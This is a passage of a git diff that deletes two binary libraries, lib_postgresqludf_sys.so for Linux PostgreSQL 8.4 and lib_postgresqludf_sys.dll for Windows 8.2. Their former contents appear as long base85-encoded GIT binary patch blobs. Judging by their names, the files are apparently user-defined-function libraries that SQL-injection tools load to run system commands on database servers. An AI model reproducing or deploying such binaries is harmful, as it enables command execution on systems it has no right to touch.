z*Nl9#sz@!sa3>~>yxNdehx;?hJ|7LtesAAyoDzDn2uA?QN}XZ6%cgPcX>MEcA1*Vc zPlh3ZYPQd{jI(+RXfE`zbcnO`jcElKTTvNga ziL1+cU*H=^Kdu(OW$?D(7(PyR^y@MneTNGw7 z0@(!}Q;*`x{GW*5kdkB!O@&i599AN# zT;l&K`5ntTVvVr2$d|$L?Ugl0W=(y9eJ75!M{Y#>K^$L^h$W6SNv?vz7-(9Owa7A{ zFLA74GHX|oY(9k!)*o@KJ@RU_WnT7^%fPHxwpp{}WoT#Sg({YVS-Zrs_Q|Y$8IO2A z1I!_Dd{)RDH*tKXa94r5`jEW)fa4l7ul0XXz@^ZZ`6xM#PO!|&ck^z1Q}7&>L>&32 zV2R@y*$*7gM@bU*OLRya:cXpk-jWKWw8@;( Nv;z<7aj9hB{ta~_2;%?% diff --git a/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/8.4/lib_postgresqludf_sys.so deleted file mode 100755 index 6b1dccb56d99e4b5a628adecf9016bf8966c5a95..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5148 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 literal 0 HcmV?d00001 diff --git a/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.2/lib_postgresqludf_sys.dll deleted file mode 100755 index 30a729d84837c65b7b9c220151fbe5e1e6fa2e5b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7680 zcmeHM4RBM}mALmQ%qbaZ#-F0FS zc`5JBWxcYdHc19E9!Ww^A)A&%cCKTyl$_ok>XtP_N z(A?c{y?(7~1}^@vS|wtB@rQS-rltNK)g=1bO?PDHHL5>K@@rIYN&L#Jd~LSBU+TB` zJwCeU*Lh&K5z-`6kn`6MZ`S{>al#snh}?4!OT29jLKEFlc*2zlUU%3o)HY6N<( zXoxD^t6T=$+{y>F`HnV`Qwb-KPkxFwANWud#rqS#mv^s`*+up9kmiRS-D~CcW}z1~ z)Z8yO5K;XE=*|43sD259#F-N7BPw=&oA4d%;&k!-J9j*s?#-to&G9q`7pM;D(_qWZW`lv)X#P8VurL8o{KJKT`D5_t8(EioL$twCA4I<(DXYZfr zliS625zv0;9CB*@&60M+)?pX6FMwm+G%SfT`TT%ur{T?q1w9VefwMTU$gM-MH{T>x3ihl!5FfV>S+QD)r2?g6peHck1Q(s$1-L=_-Z zwg|Eam{8Oz>tG^3 ziK0t>&Mo3?WBqmcGDF{`OE?mNoB(l%>K{?RMfJ1jsB;c}I791hKuy1!ID;gnY@-e? zPgEa+jC1^F0a-JgZ_2ErwC=_wRMv1Vai-XMk)KR$9Q)o%zIBYZjTXKl&nbLm@YF~0 z!!2qdF+40^Sk;cPeZS%R`{jBvC-?uml30(xI(QR3Vd9X;jZ!os z4#6OPfZsTsDG~Z?olA>lzo1fOXMn8*^pJ5mm(!QlqH-L*{SXn=EnxAJh>9J9g+s zpyqqkVgc6FNLAz^->HIi*tRhF4m5Whr>_GamGeuD;HQGx;*)l8$8SZ>cB3M! 